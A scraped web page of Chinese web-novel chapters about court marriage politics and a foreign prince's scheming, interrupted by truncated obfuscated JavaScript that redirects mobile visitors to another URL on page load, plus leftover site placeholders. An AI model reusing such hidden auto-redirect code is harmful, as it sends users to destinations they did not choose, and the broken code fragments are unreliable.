d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245832|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的 ******后面还有1735个字内容被隐藏了****** ******后面还有1735个字内容被隐藏了****** loadBookInfo(37, 1877294, 26375233,''渣男与人暗度陈仓,我与王爷明修栈道''); 第205章 你敢嫌弃为夫? “皇上,承王殿下与废太子不同,您就算要帮着承王殿下充盈后宅,也不能如此直白。”齐绥劝慰道。 “那朕该如何说?”尉迟晟没好气地道。 “这……”齐绥想了想,提议道,“您可以让有心之人自己去同承王殿下说,若承王殿下同意,那便皆大欢喜。若是承王殿下不同意,那也无伤大雅,毕竟百姓之间说个亲也会斟酌再三,没人能保证每桩亲事一说就成。如此一来,承王殿下也不会对您有任何嗔怨。” 尉迟晟听完,顿然开悟。 这还真是个简单到不能再简单的妙招! 看了一眼手上的折子,他吩咐道,“齐绥,宣杜友冲。” “是。” …… 夜时舒乘坐的马车快要抵达宫门时,突然车夫勒马叫停。 不等她询问出何事了,就听车夫恭敬地唤道,“王爷,您怎么35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245833|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> ******后面还有1979个字内容被隐藏了****** ******后面还有1979个字内容被隐藏了****** loadBookInfo(37, 1877294, 26461145,''渣男与人暗度陈仓,我与王爷明修栈道''); 第206章 你这老东西真是一点都不识好歹 闵文骞一听,忍不住皱眉问外孙,“凌儿,真的吗?你和舒儿感情这般要好,你父皇为何要如此做?” 虽说他是刚认回外孙,可是他看得出来,这小两口不是一般的恩爱。皇上突然要给王府后院塞女人,这不是摆明了给他们小两口添堵吗? 尉迟凌沉声道,“不用担心,我自有主张。” 闵文骞相信他有主见,可也不忍他们夫妻感情被人割裂,沉思了片刻后,他先是提议,“凌儿,不管怎样,还是先以国事为重。女人不女人的先别管,你现在的身份和地位,尽量别落人口舌。”接着又看向夜时舒,露出疼爱的笑容,“就凭舒儿第一个改口唤我外祖父,我也不允许别的女人进王府给她添堵!你们先把眼前的事做到位,那些糟心的事我会想办法帮你们应付!” 夜时舒拿手肘碰了碰尉迟凌,“王爷,要不你先去宫里看看吧。我就不去了,我在府里陪外祖父。” 尉迟凌犹豫了片刻,对她说道,“如果我回来得晚,你就先休息。” “嗯。” 夜时舒笑着把他送出门。 看着小夫妻俩恩爱的模样,闵文骞脸上全是笑。等夜时舒返回房里,他便招呼着夜时舒聊天。 “舒儿,凌儿的性子那般沉闷,你是如何看上他的?” “这……”夜时舒被问得有些脸红。 “有什么不便说的吗?” 闵文骞也看出她不好意思,正打算转移话题,夜时舒便‘嘿嘿’与他说了起来,“外祖父,没什么不好说的,就是我和王爷成亲的经过有点‘与众不同’。” 她知道老爷子不是真的八卦,只是想多听一些有关外孙的事,遂也没同他隐瞒,把自己和尉迟凌从接触到成亲的经过当故事说给他听。 其中也包括婚后假倪筱出现的事。 闵文骞认真听着,听到他们被澜贵妃和尉迟凌算计欺负时,气得几次破口大骂。可听到他们夫妻如何报复那些针对他们的人时,他又忍不住开怀大笑。 夜时舒正说得起劲儿呢,文墨突然来报,“王妃,大理寺卿杜友冲的夫人及女儿在大门外求见。” 夜时舒原本一脸开心的笑瞬间变得僵冷。 闵文骞看着她的反应,不解地问道,“舒儿,怎么了?” 夜时舒撇了撇嘴,“外祖父,我还没同你说到前两日发生的事呢,那杜家小姐似乎对王爷……有点心思。” 闵文骞嫌恶地道,“这些世家女,惯常捧高踩低,凌儿‘身残毁容’时不见她们争着抢着嫁进承王府,现在看到凌儿要做储君了,就千方百计往他身上扑了,真是不要脸!” “外祖父,您别生气,这种事我能应付。”夜时舒笑着安慰他。 “舒儿,你不用去,让我去会会她们!”闵文骞突然朝文墨吩咐道,“小墨,你帮我找身衣裳,越破烂越好。等我换好装束,你把她们带花园里去。” “外祖父,您要做什么?”夜时舒不放心地问道。 “你不用管,看外祖父如何让她们自惭形秽!” “……?” …… 约莫一炷香后,文墨才去大门外把杜夫人和杜安雯请进了府里。 他按闵文骞的交代将母女俩带进了主院的花园,并对她们说道,“杜夫人、杜小姐,你们先在花园里逛逛,我家王妃在库房里点货,稍后便来。” 母女俩相视了一眼,都忍不住皱眉,第一次遇见如此待客的,这让她们很难不怀疑承王妃是在给她们下马威! “杜夫人、杜小姐,你们自便,小的去准备茶水点心。”文墨说完便往厨房的方向去了。 母女俩站在花园里,脸色都不怎么好看。 可她们这次来是讨好夜时舒这个承王妃,再觉得羞辱也得咽下去。杜安雯见不远处有座凉亭,便提议道,“母亲,先去凉亭里坐坐吧。” 杜夫人随着她走了几步,眼尖地发现凉亭里有人。 待母女俩近到凉亭旁时,这才看清楚凉亭里坐着位年迈的老人。 老人身形削瘦,一头鹤发凌乱不说,还穿着一身满是补丁的粗布马褂,除了面容稍显干净外,完全就是一副乞丐样。 可他坐在亭子里,悠然自得地吃着茶。那茶香浓郁怡人,跟他的身份一点都不配。 “你是何人?”杜安雯嫌弃地询问。 “你们又是何人?”闵文骞不悦地反问她们,甚至毫不客气地撵人,“谁让你们进来的,赶紧离开,别打扰我吃茶赏景!” 杜安雯平日里娇养惯了,鲜少遇见如此无礼之人,更何况对方还是一个乞丐,这委屈她哪里受得了? 当即就指着闵文骞怒道,“你这个穷酸乞丐,知不知道我们是何身份,你竟敢如此无礼,是嫌自己活够了么?” 闵文骞傲气地抬起下巴,不屑地道,“我管你们是何身份,这里是我想来的,你们想抢我的地儿,门都没有!” 杜夫人盯着他不停打量,隐约觉得这老头有些面熟,可是细看老头的穿着打扮,又觉得自己想多了。 眼见女儿受气,她忍不住端起身份,冷着脸道,“我不管是谁把你带进来的,这是承王府,不是你一个乞丐能待的。识相的就赶紧走,别惹人厌恶。” 闵文骞‘呵呵’笑了起来,“看二位的相貌,应是大有来头?既然你们是有身份地位的人,那又何必跟我一个老乞丐争抢纳凉的地儿?” 杜安雯鄙夷道,“你也配我们跟你抢纳凉的地儿?我们能同你说话,已经是给足了你脸面,识相的你就赶紧离开,去别处要饭去,否则别怪我们让承王妃把你扔出去!” 闵文骞冷哼,“我就不走,你们又能拿我怎样?” 杜安雯气得跺了一下脚,“你这老东西真是一点都不识好歹,非要我们动手你才甘心吗?” 第207章 他竟是国公爷? 闵文骞不服气地反指着她,斥道,“骂我老东西,难道你们都不是人,都不会老的吗?说我不识好歹,我一个糟老头子坐在这里招你们惹你们了,明明就是你们自以为是、仗势欺人、嫌贫爱富,你们竟还有脸骂我?” 杜安雯被他反骂得红了眼,拉着杜夫人,恨道,“母亲,这老乞丐太可恶了,绝对不能放过他!” 杜夫人也是被气得不行。 想她堂堂的大理寺卿夫人,何时受过这等辱骂? 然而,就在她忍不住要替女儿反击时,从侧面花坛传来一道不悦的质问声,“杜小姐要对付谁?” 母女俩温声望去,赶紧福身行礼,“臣妇(臣女)拜见承王妃!” 夜时舒带着春柳、夏花、秋菊、冬雪四个丫鬟走到她们面前。她没喊起身,只沉着脸继续问道,“杜小姐骂谁老乞丐呢?” 杜安雯都没多想,抬手就指着亭子里的闵文骞,委屈不已地状告,“王妃,您可算来了,不知道哪里冒出来的老乞丐,目无尊卑不说,还嚣张狂妄,实在可恨啊!您看,就算您来了,他也不知道行礼,连您都没有放在眼中!” “哼!”夜时舒冷冷一哼,转身走进凉亭。 就在母女俩以为她是要去教训老乞丐时,突然见她换上笑脸,对老乞丐关心地问道,“外祖父,这茶香吗?” 闵文骞原本一脸的怒容也瞬间被慈祥和蔼的笑容取代,“这茶真是极品,舒儿有心了,拿这么好的东西孝敬我。” “您喜欢就好,等您用完了,我再给您买今年的新茶。” “好好……” 凉亭外。 母女二人惊得脸色都白了。 夜时舒这一声‘外祖父’好比给了她们一棒子,打得她们目瞪口呆、迷惑不解、不知所措! “王妃……他……他是……”杜夫人舌头都忍不住打结。 夜时舒转过身,瞬间又是一脸冷寒,“杜夫人,枉你还是三品朝官的夫人,竟连卫国公都不识了吗?” 卫国公?! 杜夫人双眼圆瞪,直愣愣地瞪着闵文骞。 不怪她没认出人来,主要是面前的老人一身乞丐装扮,她虽然觉得有些眼熟,可根本没敢把他和卫国公联系在一起…… “国公爷恕罪!”她回过神,立马拉着女儿进到凉亭,对着闵文骞跪下,惨白的脸上布满了愧色,“妾身和小女眼拙,没把您认出来啊!” 闵文骞沉着老脸哼道,“杜夫人和杜小姐好生凌厉的气势,老夫可受不起你们的礼!” 杜夫人焦急地解释起来,“国公爷息怒,今日之事真是误会,妾身和小女不是有意要冒犯您的,实在是多年未见,没能及时将您认出,还请国公爷您大人大量,原谅我们这一次。” 杜安雯也抹去了之前的骄纵跋扈,温柔得像一朵不堪风折的娇花,“国公爷,都是小女的错,是小女有眼不识泰山,误把您当做了擅闯王府的坏人,所以才顶撞了您。小女不求您能原谅小女的鲁莽,但求您莫要生气,别因为小女气坏了身子。” 闵文骞‘呵呵’笑道,“你们母女俩可真是上春的天儿,善变啊!瞧我穿得破烂不堪,就骂我是老乞丐,非但对我恶语相向,还狂傲得要把我扔出去!这里可是承王府,正所谓打狗还要看主人呢,你们有何资格驱赶承王府的人?再者,就算我是老乞丐,我也是人,你们仗着朝中有人做官就可以藐视贫苦百姓吗?” 杜安雯低着头,一句话都不敢说了,与之前骄纵跋扈的模样相比简直判若两人。 而杜夫人羞愧难堪,恨不得找个缝钻进去。 闵文骞随即给夜时舒递了个眼色。 夜时舒会意,上前将闵文骞从石凳上扶起,然后对跪在地上的母女二人说道,“杜夫人、杜小姐,国公爷要休息了,我家王爷不在府中,我得照顾他老人家。若你们没事,便请回吧。” 说完,她扶着闵文骞径直走出凉亭,头也不回地离开了。 春梅上前请道,“杜夫人、杜小姐,奴婢送你们出去。” 杜夫人一脸菜色地起身,然后拉着女儿快速离去—— …… 尉迟凌带着尉迟晟的旨意去了驿馆接待北蔺国的使节。 同行的还有大理寺卿杜友冲。 对于尉迟晟别有心思的安排,尉迟凌也没拆穿。到了驿馆,在礼部官员的张罗下,他接待使节,与对方先交流他们此行前来的目的。 北蔺国此次安排了十二名官员以及近百人的护卫队前来,其中使节代表正是北蔺国四皇子莫千骁。 他们目的也很直接,想要与骆丽娴先见面。 对此,尉迟凌也不意外,甚至能理解对方的想法。毕竟两国断交数十载,几乎年年交战,大大小小锋刃相交不下百次,突然间议和,就算北蔺国先提,他都不会相信。 只不过因为骆丽娴这个疑似遗落在大邺国的公主,让两国有了坐在一起交谈的机会。如果能确定骆丽娴是真的北蔺国五公主,那两国兴许还有谈和的可能,如果骆丽娴不是北蔺国五公主,那两国该怎样还怎样…… “四皇子及诸位千里奔波、舟车劳累,今日好生休息,明日一早,我们会送五公主前来驿馆。” “那便多谢承王殿下了。”面对他的不冷不热,莫千骁一样,除了该有的礼节,别的态度几乎没有。 在驿馆待了不到一刻钟尉迟凌便离开了。 随行的杜友冲也插不上话,只能跟着他离开。 出了驿馆,见他要上马车,杜友冲笑着上前招呼,“王爷,您这么早就要回府了吗?” 尉迟凌面无表情地看向他,“杜大人有事?” “王爷,时辰尚早,不如去臣府上喝两盅?” 第208章 伺候王妃是本王的嗜好 “不了,王妃怕黑,还等着本王回去陪她。”尉迟凌直言拒道。 “王爷,小女待字闺中,至今也未有说亲。臣原本是打算多留她两年在身边尽孝,如果王妃觉得烦闷,臣愿把小女送去王府给王妃作伴。王爷,不知您意下如何?”杜友冲也问得相当直接。 之所以他敢明晃晃地开口,主要是觉得自己已经请了奏,且皇上非但没反对,反而告诉他让他自己找承王商谈。 这说明什么? 不就说明他女儿很有希望进承王府吗? 只要他替女儿找个合适的理由,这婚事自然也就成了! 然而,他话说完,正美滋滋地等着尉迟凌点头,却见尉迟凌俊脸沉下,冷声道,“本王的王妃,除了本王能与之亲近外,任何人都休想靠近她,女子也不例外!” 杜友冲张着嘴,一时间懵住,脑子差点没转过弯。 回过神,他干干笑道,“王爷,臣不是那个意思,臣是想把小女送进王府,让小女服侍您和王妃。” “不用,王府不缺下人。” 杜友冲脸色不是很好看了,但还是厚着脸皮将心思表达得更清楚明白,“王爷,您误会臣的意思了。臣是想让小女进王府,一来给王妃做个伴,二来协助王妃伺候您。” 而尉迟凌也开始不耐了,眼眸迷成狭长的细缝,语气也冷硬起来,“本王手脚具足,不需要任何人伺候!即便是伺候,那也是本王伺候王妃,毕竟这是本王的嗜好!除王妃以外,本王不会再伺候任何女人!” 马车上的文岩差点都绷不住喷笑了。 他和文墨跟着王爷十多年,竟不知道王爷如此能掰擅扯…… 杜友冲是直接石化了,无语地望着尉迟凌不说,神色也布满了难堪。 “文岩,回府!”尉迟凌没再多说一句,直接进了马车。 “是!” 望着马车离去,杜友冲忍不住咬紧了牙。 回府后,他正要让人去把妻女叫出来,就见妻女在厅堂里等着他。 见母女俩神色比他还难看,他忍不住怒问,“怎么,承王妃也不愿雯儿进府?” 杜安雯撇着嘴道,“都还没机会说呢……” 杜友冲皱眉看向她,“怎么了?是王妃不愿见你们吗?” 杜夫人气恨地把她们去王府的经过说给了他听。 杜友冲听完,惊诧道,“卫国公还活着?废太子之前去济州,不是报了丧吗?澜贵妃还替皇后去济州守灵尽孝呢,卫国公怎么可能还活着?” 杜夫人怨叹,“我们哪里知道啊?老爷,您是没看到,卫国公现在变化有多大,瘦不说,还一身乞丐装扮,妾身根本没认出他来,更别说他一个‘死去’的人,妾身哪里能想到是他啊!妾身和雯儿一不小心就把他得罪了,承王妃也不听我们解释,直接将我们撵出了王府!” 杜友冲坐到大椅上,狠狠地皱起眉,沉声道,“雯儿想进承王府的事,怕是成不了!” “父亲,为何如此判定?”杜安雯不甘心地问道。 杜友冲随即将承王的态度也如实告知了她们母女。 杜安雯听后,根本接受不了,“父亲,承王这分明就是故意推脱!他这般做,完全就没把您放在眼中啊!” 杜友冲没好气地道,“就算他故意推脱我们又能如何?皇上都不愿下旨,难道我们还能逼迫承王要了你不成?” 杜夫人突然对女儿说道,“雯儿,要不就算了吧。光是听你父亲说,我便能猜到承王不是个好相处的人,他无心纳侧妃,你若强行去他身边,只会惹他厌恶。” 杜安雯一听,忍不住激动,“母亲,您可知承王很快就要被立为太子了?待他将来登上那个位置,凭着父亲对他的助力,女儿的位份绝对不会低!那夜时舒就算做了太子妃又如何,您也不想想她以前有多草包,现在得承王宠爱,不过是仗着有一副好皮囊罢了!这样的女人,您觉得她坐得稳太子妃之位吗?” 说完,她又对着杜友冲斩钉截铁地道,“父亲,女儿想嫁给承王,可不单单是为了给自己谋荣华富贵,那也是为了给家族谋福祉!难道您就不想做人人敬重的国丈吗?” 杜友冲能说不想吗? 只是…… “雯儿,父亲明白你的心思,但承王初入朝堂,我们与他接触不多,对他不够了解,实在不知该如何让他点头!” “父亲,只要您不反对女儿的心思,那这事您就放手交给女儿去办,女儿自有办法让他点头,然后风风光光把女儿接进承王府!”杜安雯坚定又自信地说道。 杜友冲和夫人相视一眼,虽说都觉得此事没什么希望,但见女儿如此胸有成竹,他们也只能点头支持女儿。 …… 承王府。 夜时舒本以为尉迟凌会很晚才回来,没想到天刚黑他就回了府。 “王爷,见到北蔺国使节了吗?他们来了多少人?都有些哪些人物啊?” 尉迟凌搂着她坐到床边,神色严肃地道,“来的是北蔺国四皇子,你明日派人去山庄给大舅哥传话,让他务必把人藏好。” 夜时舒瞬间也不笑了,“来的是那个四皇子?你见着他人了,觉得他人如何,好说话吗?” 尉迟凌丰眉微蹙,“此人模样倒是周正,但我能感觉出此人城府不浅。再者,北蔺国君王能让他担任使节,想必此人也有过人的能耐,我们不可轻视。” 夜时舒也蹙起柳眉。 她原本还存了一丝幻想,如果北蔺国这位四皇子好说话,兴许他们能从中斡旋,劝这位四皇子放过离瑶,让离瑶能早日回到九黎部落与家人团聚。 可如果对方不好相处…… 那他们就只能把离瑶藏紧一点了,免得因为离瑶的事,让北蔺国和大邺国的关系更加恶劣。 “对了,王爷,今日杜夫人和杜安雯母女俩来了王府。”夜时舒不想气氛太压抑,便转移话题,笑着说道,“你猜外祖父做了什么?” “嗯?”尉迟凌满眼好奇,“外祖父做了什么?” 第209章 你要担起和亲公主的使命 夜时舒同他说了闵文骞装乞丐的事,“外祖父想测试她们品性,没想到她们真是狗眼看人低,对外祖父又指又骂的,还扬言要把外祖父扔出去!王爷,你都没看到,她们知道外祖父的身份后那脸色有多难看,真是笑死人了!” 尉迟凌能想象她描述的场面,但对她感觉好笑的地方,他也只浅浅地扬了一下唇角。 “王爷,你不觉得好笑吗?”夜时舒明显察觉到他情绪有些反常。 “好笑。”尉迟凌低下头轻吻了一下她的唇瓣,突然说道,“你先睡,我去看看他老人家。” “我陪你去吧。” “不用,我就是去给他把个平安脉,很快就回来。” “好吧。”夜时舒不疑有他,笑着目送他起身出门。 …… 闵文骞早早躺在床上,但还没睡着。 见外孙子大晚上的还来看他,他高兴得坐起身,“凌儿回来了?这么晚了,怎么还想起过来?” 尉迟凌坐到床头边,先为他把了把脉,确定他一切较好后,才同他聊了起来。 “听舒儿说今日杜夫人携女儿来过王府?” “是啊,那对母女实在嚣张跋扈,要不是看在杜友冲的份上,我都想让人打她们板子!”提到杜家母女,闵文骞就忍不住唾骂。 “外祖父能为我们着想,我甚是感动。”尉迟凌话锋突然一转,“只是这样的事,外祖父不要再做了。” “嗯?怎么了?外祖父哪里做错了吗?”闵文骞不解地看着外孙。 “正所谓画虎画皮难画骨,知人知面不知心,人心是很难测的,外祖父可有想过,若是有人识破了您的伪装,在品性上得到了您的认可,介时您该如何做?是要替我接受对方的示好,还是要说服舒儿与人同侍一夫?” “这……”看着外孙那严肃的神色,闵文骞一时间不知该如何回答。 “父皇要我充盈后院,并默许其他女子接近我。今日杜家女只是其中之一,他日更多女子出现时,外祖父可会像父皇那般帮着劝说我接纳她们?”尉迟凌再次发问。 “不可能!”闵文骞脱口道,“你与舒儿那般恩爱,外祖父绝不允许任何人破坏你们的感情!今日杜家母女找上门,我是知道她们的目的,不想让她们膈应舒儿,所以才扮作乞丐戏耍她们的!” “嗯。” 闵文骞拉住他的手,郑重说道,“凌儿,你放心,不论发生何事,外祖父都只会站在你和舒儿身边,任何人都不能左右我的决定!” 有他这话,尉迟凌脸上冷硬的轮廓这才多了几分柔和,语气也温和了起来,“今日之事我并没有责怪之意,只是单纯地想告诉您,从我决定娶舒儿的那一刻起,我便决定此生只会有她一人。” “在得知皇后娘娘是我生母后,这种想法更加坚定。有些人以身边女人多少为荣,可我不以为然。我和尉迟睿被澜贵妃调换身份,足以警醒我,身边多个女人,或许下一个受伤的母子便是舒儿和她所生的孩子。” 对于亲外孙被调换的事,何尝不是闵文骞心中的痛?眼下亲外孙对女人争宠心生了憎恨和忌惮,没有人比他更能理解这种心情了。 也是在这一刻,他明白了外孙今夜的真正来意…… 外孙除了提醒他,以后不管什么女子接近他们,一律拒而远之。更重要的是,若是帝王让他当说客,他必不能听而从之。 “凌儿,你想做什么尽管去做,即便是你父皇面前,外祖父也只认可你的决定。” “时候不早了,舒儿还在房中等我,我就不打扰外祖父休息了。” 尉迟凌扶他躺下,又为他盖好薄被,然后才离开。 看着回房的男人,那唇角勾着若有似无的笑,明显比离开时心情好上了不少。夜时舒好奇地问道,“王爷,是不是外祖父同你说了什么好笑的事?” “没有。”尉迟凌也没瞒她,“只是过去提醒他,不要擅自插手我们的事。” “……” …… 翌日。 骆丽娴被礼部官员带去驿馆。 看着座上陌生的男子,那冷峻的容颜,与生俱来的衿贵之气,再加眼神里睥睨众生的清傲,让人莫名地心生敬畏和胆怯。 这便是北蔺国的四皇子。 她一母同胞的兄长。 “你就是本皇子的五妹?” “丽娴拜见四皇兄。”骆丽娴蹲膝参拜。 谁知莫千骁冷声道,“别急着套近乎,要证明你就是本皇子的亲妹妹,我们还需要给你验明正身。” 骆丽娴抬起头,一时间美目难掩难堪。 莫千骁抬手打了个指响。 旁边静候的一名妇人上前,同骆丽娴说道,“骆小姐,请随我来。” 骆丽娴不解地问道,“你们要做什么?” 妇人没答话,只重复道,“骆小姐,请随我来。” 骆丽娴朝座上男人看去,可从对方脸上除了看到冷漠外,什么情绪都没有。不得已,为了早点证明自己的身份,她只能听从妇人的话。 妇人将她带去一间偏房,让她脱了上身的衣物,再让她蹲下身,然后在她颈后仔仔细细地查看。 等她穿好衣物随妇人返回厅堂时,只听妇人对座上的莫千骁说道,“并四皇子,她颈后的胎记与皇后娘娘描述的一致。” 莫千骁点了点头,看骆丽娴的眼神这才收了几分凌厉,“虽然大邺国的太子之前给过我们你的画像,你确实长得很像我们母后。但世上模样相似的人并不少见,为了确定你就是我们北蔺国的五公主,我们并未泄露你身上还有胎记。” 骆丽娴咬着唇,一句话也说不出来。 当然,她也不知道自己该说什么。 “既然现在已经能够证实你就是本皇子的亲妹妹,那从今以后你就是北蔺国的五公主,我自是不会亏待你的。” 听着他冷傲的语气,骆丽娴非但没有一丝喜悦,反而心中莫名地发凉。 从她知道自己身世的那一刻起,她就欢心雀跃,日日夜夜盼着与亲人相聚,然后做一个高贵典雅受人追捧的公主…… 然而,亲哥就在面前,他嘴上说着认她的话,但面上却无半丝笑意,更别说亲人团聚该有的激动和喜悦了! “四皇兄……我们……我们何时回北蔺国?” “回北蔺国?”莫千骁忽地眯起眼,“你不是在这里已经嫁人了么?既然你已嫁人,那便是大邺国的媳妇。上天鬼使神差地让你与大邺国皇子和了亲,那你就该担起和亲公主的使命。如此,也不枉母后十月怀胎生你一场。” “使命?什么使命?”骆丽娴脸色有些失色。 她现在只想做高高在上的一国公主,难道北蔺国还想把她扔在这里不成? “北蔺国与大邺国数十年来交战不断,你猜猜父皇和母后给你的任务是什么?”莫千骁总算扬起了唇角。 但那笑仍旧不含半丝温情,而是充满了嘲弄。 第210章 承王妃这是不欢迎本皇子? 骆丽娴不止脸色失色,更是因为他没有温度的笑声,双目染了怒火,“你究竟是来认亲的还是来害我的?你要不认我这个妹妹大可明说!” 她承认自己爱慕虚荣,不论是当初与魏永淮无媒苟合,还是接受太子的利用,她都是为了能过上衣食无忧的生活。 但她不是任人拿捏的傻子! 什么都不付出,一来就想利用她,甚至毫不顾念血脉亲情,赤裸裸地把她当利剑使! 许是没想到她竟然还有脾性,莫千骁不禁挑了一下眉。 不过他唇上嘲弄的笑并未收敛,“说吧,你想要什么?来之前父皇和母后已经同我打过招呼,看在这些年你在外面吃了不少苦头的份上,只要你开口,我们能满足你的都会给你。” 骆丽娴双手捏得很紧,咬着牙问道,“说出你此行来的目的?” 莫千骁起身,背着手走到她面前,一边轻蔑地打量她,一边压低着嗓音说道,“方才本皇子已经说了,北蔺国与大邺国数十年不断交战,你身为北蔺国公主,理所应该对北蔺国尽忠,以报父皇和母后的生身之恩。至于你要如何做,那自然是要看你的能耐和手段。” 面对他身上释放出来的威压,骆丽娴簌簌颤抖,咬着的一口贝齿都随之打颤。 她在大邺国忍辱负重,就为了等待某一天自己的亲人来把自己接走,从此金银珠宝、绫罗绸缎、身份地位要什么有什么…… 她憧憬着那一天,她改头换面,再不做别人口中不知廉耻的女人,而是做那高高在上、让人只敢仰望的高贵的公主。 可面前这个是她亲哥哥的男人,几句话就击碎了她期盼已久的美梦。甚至仗着亲情,理所当然又明目张胆地要利用她,让她这个亲妹妹当细作使! 甚至都没问一句,她这些年在外面过得如何! “如果我不做呢?” “呵呵!”莫千骁发出嘲讽的笑声,“据本皇子所知,你所倚仗的太子已经被废,这辈子再无翻身之日。大邺国皇帝没动你,是因为你是北蔺国遗落在外的五公主。你说,如果本皇子告诉大邺国皇帝,说你并非我北蔺国五公主,他会如何发落你?” 骆丽娴瞪大美目怒道,“我怎么说也是你的亲妹妹,你怎么如此凉薄无情?” 莫千骁嘲讽的笑就没断过,说的话更是直白,“虽说你是我北蔺国皇室血脉,原本也该拥有尊贵无比的身份和地位。可是你从小在外,据说你不但嫁过人,还在丈夫死后与自己的义兄有染,同时还做着太子的良娣。你说,凭你的种种过去,哪一样能上得了台面?” “父皇和母后还愿意认你,便是给了您最大的恩典。如果你愿意为北蔺国效力,虽然你不一定回到北蔺国,但这些年亏欠你的荣华富贵我们一定会补足补够。如果哪日你不幸身死,凭着你对北蔺国的忠诚,我们也会将你风光大葬。” 他的话字字如刀剜着骆丽娴的心窝子,痛得她都要站不住了。看着面前的所谓亲哥哥,她红着眼眶不甘心地问道,“你就一点都不心疼我吗?我可是你失散多年的亲妹妹!那些过去你以为是我想的吗?从我记事起我就过着蝼蚁般的生活,吃不饱穿不暖,无数次差点死在荒无人烟的地方……这些难道不是你们造成的吗?” 然而,听到她满腔悲愤的话,莫千骁不以为意地道,“本皇子说过,会给你补偿,你想要什么都可以给你。” 她想要什么都可以给她? 骆丽娴瞬间泪如雨下。 她只想回家! 像寻常子女那般,有父母疼爱、有兄弟姐妹关照、有亲情可温暖她的家! 然而,此时的她已经无法再将心中的愿意说出口…… 她还没见到亲生父母,便已经被他们嫌弃了! 对于她的眼泪,莫千骁毫不为之所动,继续说道,“本皇子也不逼迫你,该如何选择你自己决定。只是本皇子还是得提醒你,就算你在北蔺国长大,没有那些脏污的经历,但作为公主,从出生之日便有特定的使命,无一例外。比起别的公主来说,你还算幸运的,至少有选择的机会。” 骆丽娴哭着哭着,突然笑了,“是吗?那我应该感谢你们将我遗落?” 似是嫌弃她的哭相,莫千骁往后退了两步,随即又对那名夫人使了使眼色。 那妇人会意,走向桌边。 桌上有一木盘,盖着红布。她将红布扯开,露出数十金块。然后端起木盘走到骆丽娴身侧,说道,“五公主,这是四殿下为你准备的。” 看着码得整齐的金块,骆丽娴眼眶中滚落的泪珠越发大了。 这辈子,她第一次见到如此金子…… 可此时她没有欣喜、没有激动、没有幸福…… 有的仅仅只是可笑! …… 驿馆外。 知道骆丽娴今日要来驿馆认亲,夜时舒特意跟着尉迟凌出来瞧热闹。 而他们刚到驿馆,就见骆丽娴同一高大的男子从里面出来。 男人玉冠锦袍,一身冷傲气场,夜时舒不用问也能猜到他的身份。 这便是北蔺国的四皇子! 见到他们夫妻,骆丽娴意外地愣了一下,随即还是恭敬地上前行礼,“参见承王殿下、参见承王妃。” 夜时舒厌恶她,可人家现在的身份非同寻常了,她也只能忍着厌恶,看着骆丽娴那红肿的双眼,假笑地问道,“五公主这是与兄长相认了?恭喜啊!” 骆丽娴扭头看了一眼身侧的莫千骁,不好意思地抿了抿笑。 见北蔺国的人牵着马车从后院出来,夜时舒随口问道,“五公主刚与兄长相认,这是要去哪?” 骆丽娴道,“我四皇兄初来大邺国,想看看这里的繁华。我准备带他去紫琼山庄,那里美食丰饶,亦有诸多玩乐之处,想必我四皇兄应该会喜欢。” 夜时舒不停不打紧,听她说完,脸色不由地拉长。 他们还真是会选地方! 她们说话的同时,莫千骁便在一旁不动声色地打量尉迟凌和夜时舒。 见夜时舒神色生异,轻笑着问道,“这位是承王妃?怎么,承王妃这是不欢迎本皇子?” 第211章 拿下夜时舒,便是拿捏住了半壁江山 夜时舒端正身姿,唇含微笑,回他,“四皇子,本王妃不过是与昔日的骆良娣寒暄了几句,你一开口便给本王妃扣下一顶‘失礼’的帽子,未免太不讲理了。知道的是你作为使节出使我大邺国,不知道的还以为你是专程来我大邺国下战书的呢。” 或许没有料想到她会如此掷地有声地反斥自己,亦或者从未有人如此同他说过话,莫千骁的脸色瞬间沉下,看她的眼神更是锋利如剑。 “四皇子息怒,本王的王妃一向快人快语,若有得罪的地方,还请你多包涵。”尉迟凌勾着唇像是在替夜时舒赔不是,可他搂着夜时舒的腰肢,除了充满保护欲外,还一股子宠溺无限的味儿。 眼见莫千骁眸光越发深冷,骆丽娴赶忙出声,“四皇兄,我与承王妃相识已久,她一直是这般快人快语,你可千万别同她置气。” 莫千骁嘴角忽地勾起意味不明的笑,看着夜时舒说道,“听说承王妃出身将门,当真是将门出虎子,不得不令本皇子高看。” 夜时舒一点都没谦虚,依旧含着笑回道,“多谢四皇子夸赞,我家世代为将,代表着大邺国的铁骨脊梁,虎一点才好呢,免得别人以为我们大邺国都是软脚龟,仗着有点身份就想骑我们背上。你说,是吧?” 莫千骁的脸色再一次暗沉起来。 但夜时舒却转头,瞬间露出一脸甜笑,对尉迟凌说道,“王爷,我也想去紫琼山庄,现在去行吗?” “嗯。”尉迟凌几乎没犹豫,搂着她就上了停在身后的马车。 待马车远去。 骆丽娴见莫千骁一身怒火,忍不住开口,“四皇兄,以前的夜时舒不是这样的,自从她做了承王妃后便变得牙尖嘴利、目中无人。以后你见着他,还是少理她为好。” 莫千骁斜视了她一眼,“她是将门嫡女,又有承王做靠山,自然有资格目中无人。”望着那远去的马车,他突然扬唇,“牙尖嘴利的女人是不讨喜,但貌若天仙又牙尖嘴利,反倒让人觉得有趣。何况她的身份极为特殊,若是能把她拿下,说不定能让我们的计划事半功倍。” 骆丽娴皱起眉,“她特殊?特殊在哪?” 莫千骁像看傻子一样看着她,“将门嫡女,父亲乃一品肱骨重臣,手持西北数万重兵,其夫不但手握兵权,还是未来的储君不二人选。这样的人,难道你觉得普通?若是拿下她,说不定大邺国半壁江山都能唾手可得!” 骆丽娴狠狠地僵愣住。 